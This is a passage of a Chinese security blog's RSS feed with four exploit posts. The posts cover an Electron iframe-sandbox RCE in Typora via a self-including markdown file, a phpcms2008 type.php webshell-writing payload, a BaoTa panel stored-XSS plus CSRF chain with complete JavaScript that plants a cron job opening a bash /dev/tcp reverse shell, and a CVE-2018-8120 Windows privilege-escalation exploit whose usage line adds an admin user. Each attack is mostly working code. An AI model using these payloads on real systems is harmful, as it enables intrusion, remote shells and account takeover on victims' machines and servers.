		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 20 Dec 2018 02:59:49 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[exec]]></category>
		<category><![CDATA[typora]]></category>
		<category><![CDATA[远程命令执行]]></category>
		<guid isPermaLink="false">/?p=627</guid>

					<description><![CDATA[前言 Typora是一个颜值和实力并存的markdown编辑器，我也在用。Typora基于Electron框架进行开发，今天看到了就复现下这个漏洞。 漏洞分析 在基于Electro...]]></description>
										<content:encoded><![CDATA[<h2 class="md-end-block md-heading" contenteditable="true">前言</h2>
<p class="md-end-block" contenteditable="true">Typora是一个颜值和实力并存的markdown编辑器，我也在用。Typora基于Electron框架进行开发，今天看到了就复现下这个漏洞。</p>
<h2 class="md-end-block md-heading" contenteditable="true">漏洞分析</h2>
<p class="md-end-block" contenteditable="true">在基于Electron框架开发的应用中，如果说找到了XSS漏洞，那么基本上也完成了命令执行。那么我们进行XSS盲打之后并没有收获，原因是因为Typora的作者在开发的过程中用到了<span spellcheck="false"><a href="https://github.com/cure53/DOMPurify">https://github.com/cure53/DOMPurify</a></span>，缓解了大部分的XSS攻击。</p>
<p class="md-end-block" contenteditable="true">然鹅，<span spellcheck="false"><code>iframe</code></span>是一个神奇的标签，我们先来尝试下</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n8" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">iframe</span> <span class="cm-attribute">src</span>=<span class="cm-string">"javascript:alert(1)"</span><span class="cm-tag cm-bracket">&gt;&lt;/</span><span class="cm-tag">iframe</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fycz8zbd2jj30c604p0sn.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fycz8zbd2jj30c604p0sn.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">我们来看下输出的结果</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fycz8f1f1vj30mb059747.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fycz8f1f1vj30mb059747.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">可以看到，<span class="wpcom_tag_link"><a href="/tags/typora" title="typora" target="_blank">typora</a></span>把iframe这个标签的src属性会当作相对路径进行处理，那么我们来包含下本地文件试试</p>
<p class="md-end-block" contenteditable="true">新建poc.md输入</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n14" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">iframe</span> <span class="cm-attribute">src</span>=<span class="cm-string">"./poc.html"</span><span class="cm-tag cm-bracket">&gt;&lt;/</span><span class="cm-tag">iframe</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true">同目录下的poc.html内容如下：</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="javascript" contenteditable="true" cid="n16" mdtype="fences"><span role="presentation"><span class="cm-operator">&lt;</span><span class="cm-variable">script</span><span class="cm-operator">&gt;</span></span>
<span role="presentation">        <span class="cm-variable">window</span>.<span class="cm-property">parent</span>.<span class="cm-property">top</span>.<span class="cm-property">alert</span>(<span class="cm-number">1</span>)</span>
<span role="presentation"><span class="cm-operator">&lt;</span><span class="cm-string-2">/script&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true">弹窗！</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fyd02op1e7j31hc0smjrp.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fyd02op1e7j31hc0smjrp.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">那么为什么弹窗呢？打开Devtools看下</p>
<p class="md-end-block" contenteditable="true">Typora将我们的iframe标签解析成如下代码，其中<span spellcheck="false"><code>sendbox</code></span>是我们要注意的</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n21" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">iframe</span> <span class="cm-attribute">src</span>=<span class="cm-string">"C:\Users\Y4er\Desktop\poc.html"</span> <span class="cm-attribute">allow-top-navigation</span>=<span class="cm-string">"false"</span> <span class="cm-attribute">allow-forms</span>=<span class="cm-string">"false"</span> <span class="cm-attribute">allowfullscreen</span>=<span class="cm-string">"true"</span> <span class="cm-attribute">allow-popups</span>=<span class="cm-string">"false"</span> <span class="cm-attribute">sandbox</span>=<span class="cm-string">"allow-same-origin allow-scripts"</span> <span class="cm-attribute">onload</span>=<span class="cm-string">"window.remoteOnLoad(this)"</span> <span class="cm-attribute">height</span>=<span class="cm-string">"0"</span> <span class="cm-attribute">data-user-height</span>=<span class="cm-string">"0"</span><span class="cm-tag cm-bracket">&gt;&lt;/</span><span class="cm-tag">iframe</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true">我们看下<span class=""><a spellcheck="false" href="https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-sandbox">HTML的文档</a></span>中关于sendbox的说明，在html5中通过sendbox来提高iframe的安全性，而文档中也提到了</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fyd06uqg7dj318d03gjry.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fyd06uqg7dj318d03gjry.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">如果<span spellcheck="false"><code>allow-scripts</code></span>和<span spellcheck="false"><code>allow-same-origin</code></span>同时被设置为sendbox的属性时，那么sendbox则形同虚设</p>
<p class="md-end-block" contenteditable="true">那么我们修改下我们的poc来进行命令执行</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n26" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">&gt;</span></span>
<span role="presentation">      <span class="cm-comment">//rce</span></span>
<span role="presentation">        <span class="cm-variable">window</span>.<span class="cm-property">parent</span>.<span class="cm-property">top</span>.<span class="cm-property">require</span>(<span class="cm-string">'child_process'</span>).<span class="cm-property">execFile</span>(<span class="cm-string">'C:/Windows/System32/calc.exe'</span>,<span class="cm-keyword">function</span>(<span class="cm-def">error</span>, <span class="cm-def">stdout</span>, <span class="cm-def">stderr</span>){</span>
<span role="presentation">        <span class="cm-keyword">if</span>(<span class="cm-variable-2">error</span>){</span>
<span role="presentation">            <span class="cm-variable">console</span>.<span class="cm-property">log</span>(<span class="cm-variable-2">error</span>);</span>
<span role="presentation">        }  </span>
<span role="presentation">        });</span>
<span role="presentation"><span class="cm-tag cm-bracket">&lt;/</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fyd09dlmmwj31hc0smq6w.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fyd09dlmmwj31hc0smq6w.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">我们捋一下思路，现在我们通过iframe的src属性引用同目录的poc.html文档，来执行命令。可是这就需要两个文件，一个poc.md，一个poc.html。繁琐，有没有办法做到一个文件就达到我们的命令执行的目的的？</p>
<p class="md-end-block" contenteditable="true"><span class=""><strong>尝试srcdoc</strong></span></p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n30" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">iframe</span> <span class="cm-attribute">srcdoc</span>=<span class="cm-string">"&lt;script&gt;window.parent.top.alert(1)&lt;/script&gt;"</span><span class="cm-tag cm-bracket">&gt;&lt;/</span><span class="cm-tag">iframe</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true">并没有效果，在Devtools中我们看到sendbox的属性被设置为空，那么这是默认应用所有的沙盒限制，srcdoc不可行</p>
<p class="md-end-block" contenteditable="true"><span class=""><strong>尝试引入md文件</strong></span></p>
<p class="md-end-block" contenteditable="true">poc.md</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="markdown" contenteditable="true" cid="n34" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">iframe</span> <span class="cm-attribute">src</span>=<span class="cm-string">"./poc.md"</span><span class="cm-tag cm-bracket">&gt;&lt;/</span><span class="cm-tag">iframe</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true">cmd.md</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n36" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">&gt;</span></span>
<span role="presentation">      <span class="cm-comment">//rce</span></span>
<span role="presentation">        <span class="cm-variable">window</span>.<span class="cm-property">parent</span>.<span class="cm-property">top</span>.<span class="cm-property">require</span>(<span class="cm-string">'child_process'</span>).<span class="cm-property">execFile</span>(<span class="cm-string">'C:/Windows/System32/calc.exe'</span>,<span class="cm-keyword">function</span>(<span class="cm-def">error</span>, <span class="cm-def">stdout</span>, <span class="cm-def">stderr</span>){</span>
<span role="presentation">        <span class="cm-keyword">if</span>(<span class="cm-variable-2">error</span>){</span>
<span role="presentation">            <span class="cm-variable">console</span>.<span class="cm-property">log</span>(<span class="cm-variable-2">error</span>);</span>
<span role="presentation">        }  </span>
<span role="presentation">        });</span>
<span role="presentation"><span class="cm-tag cm-bracket">&lt;/</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true">计算器被弹了出来</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fyd0gkthm5j31hc0smtco.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fyd0gkthm5j31hc0smtco.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">也就是说我们现在能够引入md文件，这样的话我们代码执行的命令就可以直接放到poc.md中，然后自己iframe自己就可以达到命令执行的效果了。</p>
<p class="md-end-block" contenteditable="true"><span class=""><strong>引用自己</strong></span></p>
<p class="md-end-block" contenteditable="true">构造poc.md</p>
<pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="html" contenteditable="true" cid="n42" mdtype="fences"><span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">iframe</span> <span class="cm-attribute">src</span>=<span class="cm-string">"./poc.md"</span><span class="cm-tag cm-bracket">&gt;&lt;/</span><span class="cm-tag">iframe</span><span class="cm-tag cm-bracket">&gt;</span></span>
<span role="presentation"><span class="cm-tag cm-bracket">&lt;</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">&gt;</span></span>
<span role="presentation">      <span class="cm-comment">//rce</span></span>
<span role="presentation">        <span class="cm-variable">window</span>.<span class="cm-property">parent</span>.<span class="cm-property">top</span>.<span class="cm-property">require</span>(<span class="cm-string">'child_process'</span>).<span class="cm-property">execFile</span>(<span class="cm-string">'C:/Windows/System32/calc.exe'</span>,<span class="cm-keyword">function</span>(<span class="cm-def">error</span>, <span class="cm-def">stdout</span>, <span class="cm-def">stderr</span>){</span>
<span role="presentation">        <span class="cm-keyword">if</span>(<span class="cm-variable-2">error</span>){</span>
<span role="presentation">            <span class="cm-variable">console</span>.<span class="cm-property">log</span>(<span class="cm-variable-2">error</span>);</span>
<span role="presentation">        }  </span>
<span role="presentation">        });</span>
<span role="presentation"><span class="cm-tag cm-bracket">&lt;/</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">&gt;</span></span></pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fyd0k6m6taj31hc0smtdd.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fyd0k6m6taj31hc0smtdd.jpg" /></span></p>
<p class="md-end-block" contenteditable="true">现在我们把poc.md文件发给别人，只要他用typora打开，就会执行我们代码中的命令。</p>
<h2 class="md-end-block md-heading" contenteditable="true">后记</h2>
<p class="md-end-block" contenteditable="true">这篇文章是我昨天晚上看到的，今天复现的时候发现点问题，列举下：</p>
<ol class="ol-list" start="">
<li class="md-list-item">
<p class="md-end-block" contenteditable="true">平台限制 基于Electron框架开发只是在win上，mac和Linux就另当别论</p>
</li>
<li class="md-list-item">
<p class="md-end-block" contenteditable="true">版本限制 我用0.9.60beta版本不能执行，看了Typora的<span class=""><a spellcheck="false" href="https://typora.io/windows/dev_release.html">版本日志</a></span>后发现在0.9.9.56 (beta)版本中才支持<span spellcheck="false"><code>video</code></span>, <span spellcheck="false"><code>iframe</code></span>, <span spellcheck="false"><code>kbd</code></span>, <span spellcheck="false"><code>details</code></span>, <span spellcheck="false"><code>ruby</code></span>这类标签，漏洞也产生在这个版本，而在0.9.9.57 (beta)版本中就对此漏洞进行了修复，限制太大</p>
</li>
</ol>
<p class="md-end-block md-focus" contenteditable="true">参考原文链接：<span class="md-expand" spellcheck="false"><a href="https://zhuanlan.zhihu.com/p/51768716">https://zhuanlan.zhihu.com/p/51768716</a></span></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Phpcms2008 Type.php Getshell</title>
		<link>/web/625.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 17 Dec 2018 07:15:23 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<guid isPermaLink="false">/?p=625</guid>

					<description><![CDATA[前言 phpcms2008老版本type.php存在代码注入可直接getshell。不过版本过低，使用人数较少，影响范围较小，当作拓展思路不错。 漏洞简介 当攻击者向装有phpcm...]]></description>
										<content:encoded><![CDATA[<h2 id="前言">前言</h2>
<p>phpcms2008老版本<code>type.php</code>存在代码注入可直接<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span>。不过版本过低，使用人数较少，影响范围较小，当作拓展思路不错。</p>
<h2 id="漏洞简介">漏洞简介</h2>
<p>当攻击者向装有phpcms2008版本程序的网站发送如下payload时</p>
<pre class="lang:default decode:true ">/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss</pre>
<p>&nbsp;</p>
<p>那么<code>@unlink(_FILE_);assert($_POST[1]);</code>这句话会被写入<code>rss.tpl.php</code>，即getshell。</p>
<h2 id="漏洞分析">漏洞分析</h2>
<p><img src="https://ws1.sinaimg.cn/large/006xriynly1fy8tvkpfm4j30j50azjt5.jpg" alt="" /></p>
<p>在<code>type.php</code>中<code>$template</code>用户可控，并且下方传入了<code>template()</code>函数，这个函数是在<code>/include/global.func.php</code>定义的，跟进下</p>
<p><img src="https://ws1.sinaimg.cn/large/006xriynly1fy8tz91juuj30nl07sq41.jpg" alt="" /></p>
<p>可以看到执行了<code>template_compile()</code>函数，继续跟进，这个函数在<code>/include/template.func.php</code>中</p>
<p><img src="https://ws1.sinaimg.cn/large/006xriynly1fy8u50aajbj310f09jdhz.jpg" alt="" /></p>
<p>在这个方法中，<code>$template</code>变量同时被用于<code>$compiledtplfile</code>中文件路径的生成，和<code>$content</code>中文件内容的生成。</p>
<p>而前文所述的攻击payload将<code>$template</code>变量被设置为如下的值</p>
<pre class="lang:default decode:true">tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss</pre>
<p>所以在<code>template_compile()</code>方法中，调用<code>file_put_contents()</code>函数时的第一个参数就被写成了<code>data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php</code>，这将被php解析成<code>data/cache_template/rss.tpl.php</code>。</p>
<p>最终，<code>@unlink(_FILE_);assert($_POST[1]);</code>将被写入该文件。</p>
<h2 id="修复建议">修复建议</h2>
<p>手动过滤<code>$template</code>参数，避免输入<code>{</code> <code>(</code>这类字符被当作路径和脚本内容处理。</p>
<p>升级才是正道，那么老的版本了还有人在用，是有多懒。</p>
<h2 id="参考链接">参考链接</h2>
<p><a href="https://xz.aliyun.com/t/3454">https://xz.aliyun.com/t/3454</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>宝塔面板6.x版本前台存储xss+后台csrf组合拳getshell</title>
		<link>/web/598.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 08 Nov 2018 12:29:38 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[宝塔]]></category>
		<guid isPermaLink="false">/?p=598</guid>

					<description><![CDATA[【前言】 什么是宝塔面板？ 宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SS...]]></description>
										<content:encoded><![CDATA[<h1 id="toc-0">【前言】</h1>
<p>什么是<span class="wpcom_tag_link"><a href="/tags/%e5%ae%9d%e5%a1%94" title="宝塔" target="_blank">宝塔</a></span>面板？</p>
<p>宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SSL,通过Web端轻松管理服务器。推出至今备受中小站点站长喜爱，下载量过百万。</p>
<h1 id="toc-1">【漏洞代码分析】</h1>
<p>在6.x linux版本宝塔面板当中当中，相对与5.x版本，记录了验证码错误并存入数据库当中，存储xss缺陷就是在此处产生。</p>
<p>我们直接看漏洞代码。<br />
<a id="img0" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110609104222.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110609104222.png" /></a><br />
直接分析post请求部分。<br />
<a id="img1" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607363249.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607363249.png" /></a><br />
代码如下：<br />
<a id="img2" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607402651.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607402651.png" /></a></p>
<p>我们可以看到这里首先判断了是否有 用户名密码，然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1 记录一下，随后将错误次数大于1的用户名的和密码都进行了记录。<br />
从数据库中读取管理员账号密码。进行对比。如果没有成功就返回一个错误</p>
<p>关键的代码如下：<br />
<a id="img3" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607440019.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607440019.png" /></a></p>
<p>此处记录了一下post 的请求。然后将code传入到了写日志的一个函数里面。追踪一下这个函数。 在public.py 里面，找到如下函数<br />
<a id="img4" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607454392.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607454392.png" /></a></p>
<p>这里就是一个写日志的功能。定义了一个teyp 然后是args 。这里把code 传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了xss漏洞产生。<br />
可以在宝塔数据库当中，看到logs数据库里存储的信息<br />
<a id="img5" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110608484977.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110608484977.png" /></a></p>
<h1 id="toc-2">【漏洞复现】</h1>
<p>我们直接在面板登录处，随便输入一个账号密码，触发失败，要求输入验证码。<br />
<a id="img6" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607503033.jpg"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607503033.jpg" /></a><br />
<a id="img7" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607514553.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607514553.png" /></a></p>
<p>由于没有任何过滤处理，我们直接输入弹窗的payload：</p>
<pre class="lang:default decode:true ">&lt;script&gt;alert('www.dafsec.org')&lt;/script&gt;</pre>
<p>&nbsp;</p>
<p><a id="img8" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607541532.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607541532.png" /></a></p>
<p>登录后台后，打开安全模块，成功触发弹窗。<br />
<a id="img9" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607590410.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607590410.png" /></a></p>
<p>由于服务器管理面板的特殊性，后台可以进行敏感操作。手写js远程调用，利用<span class="wpcom_tag_link"><a href="/tags/csrf" title="csrf" target="_blank">csrf</a></span>漏洞在计划任务处配合存储xss，可成功反弹shell，弹shell成功截图如下：<br />
<a id="img10" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110608401472.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110608401472.png" /></a></p>
<p>远程调用的js代码如下：</p>
<pre class="lang:default decode:true ">function addTask(TaskName, execTime, ip, port) {
    var execShell = 'bash -i &gt;&amp; /dev/tcp/your_ip/your_port 0&gt;&amp;1';
    execShell = encodeURIComponent(execShell);
    var params = 'name=' + TaskName + '&amp;type=minute-n&amp;where1=' + execTime + '&amp;hour=&amp;minute=&amp;week=&amp;sType=toShell&amp;sBody=' + execShell + '&amp;sName=&amp;backupTo=localhost&amp;save=&amp;urladdress=undefined'
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=AddCrontab', false);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);
}

function execTask(TaskName) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=GetCrontab', true);
    xhr.send();
    xhr.onload = function () {
        if (this.readyState == 4 &amp;&amp; this.status == 200) {
            var res = JSON.parse(this.responseText);
            if (res[0].name == TaskName) {
                var TaskID = res[0].id.toString();
                var xhr = new XMLHttpRequest();
                xhr.open('POST', '/crontab?action=StartTask', false);
                xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                var params = 'id=' + TaskID;
                xhr.send(params);
                delTask(res[0].id);
                console.log(res[0].id);
                return res[0].id;
            }
        }
    }
}

function delTask(TaskID) {
    var params = 'id=' + TaskID.toString();
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=DelCrontab', false);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);
}

var TaskName = Math.random().toString(36).substring(7);
addTask(TaskName, '5', '1.1.1.1', '53');
execTask(TaskName);</pre>
<p>&nbsp;</p>
<h1 id="toc-3">【后序】</h1>
<p>宝塔官方已修复该漏洞，但仍有大量存在漏洞主机暴露于公网，请及时更新至最新版本。<br />
官方已修复该漏洞，漏洞环境可以将附件当中的test.py同名覆盖掉宝塔最新版的/www/server/panel/class/userlogin.py</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-8120 Windows LPE exploit</title>
		<link>/tools/588.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 19 Oct 2018 08:34:49 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[exp]]></category>
		<guid isPermaLink="false">/?p=588</guid>

					<description><![CDATA[CVE-2018-8120 Windows LPE exploit Supports both x32 and x64. Tested on: Win7 x32, Win7 x64...]]></description>
										<content:encoded><![CDATA[<p>CVE-2018-8120 Windows LPE <span class="wpcom_tag_link"><a href="/tags/exp" title="exp" target="_blank">exp</a></span>loit</p>
<p>Supports both x32 and x64.</p>
<p>Tested on: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64.</p>
<p><a href="https://raw.githubusercontent.com/unamer/CVE-2018-8120/master/screenshot.bmp" target="_blank" rel="noopener noreferrer"><img loading="lazy" class="alignnone" src="https://raw.githubusercontent.com/unamer/CVE-2018-8120/master/screenshot.bmp" alt="image" width="1055" height="412" /></a></p>
<h2>Usage</h2>
<pre class="lang:default decode:true">CVE-2018-8120 exploit by @unamer(https://github.com/unamer)
Usage: exp.exe command
Example: exp.exe "net user admin admin /ad"</pre>
<p>&nbsp;</p>
<h2>Download</h2>
<p><a href="https://github.com/unamer/CVE-2018-8120/">https://github.com/unamer/CVE-2018-8120/</a></p>
<h2>Caution</h2>
<ul>
<li>Please exclude shellcode.asm if you wanna compile x32 version.</li>
</ul>
<h2>Reference</h2>
<ul>
<li><a href="https://xiaodaozhi.com/exploit/156.html" rel="nofollow">https://xiaodaozhi.com/exploit/156.html</a></li>
<li><a href="https://github.com/bigric3/cve-2018-8120">https://github.com/bigric3/cve-2018-8120</a></li>
</ul>
<h1>tips:</h1>
<h1><a href="/wp-content/uploads/2018/10/2018101916335423.jpg"><img loading="lazy" class="aligncenter size-full wp-image-589" src="/wp-content/uploads/2018/10/2018101916335423.jpg" alt="" width="1011" height="194" /></a></h1>
<p>metasploit集成了脚本，见下面链接</p>
<p><a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb">https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb</a></p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
